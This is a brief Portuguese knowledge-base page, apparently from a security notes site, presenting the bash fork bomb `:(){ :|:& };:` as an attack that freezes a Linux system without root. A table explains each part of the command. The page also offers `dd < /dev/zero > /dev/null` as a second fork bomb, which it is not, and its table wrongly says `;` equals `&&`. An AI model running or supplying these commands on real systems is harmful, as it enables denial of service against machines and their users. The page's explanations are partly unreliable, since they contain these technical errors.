> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/linux/fork-bomb.md).

# Fork Bomb

Ataque realizado quando se tem acesso ao terminal do Linux, executando um comando que entra em looping infinito gerando processos até travar o SO.

Para realizar um Fork Bomb, execute o seguinte comando no terminal (não precisa ser root):

```bash
:(){ :|:& };:
```

| **PARTE DO COMANDO** | **DESCRIÇÃO**                                                                                                       |
| -------------------- | ------------------------------------------------------------------------------------------------------------------- |
| `:()`                | Cria/define uma função chamada `:`                                                                                  |
| `{:\|: &}`           | Roda a função `:` e direciona sua saída para a função `:` e executa em background                                   |
| `;`                  | Este caractere funciona como separador, na linha de comandos. Equivale a `&&` e permite iniciar uma outra instrução |
| `:`                  | Executa a função definida no início                                                                                 |

Outro Fork Bomb para travar o Linux, é este:

```bash
dd < /dev/zero > /dev/null
```
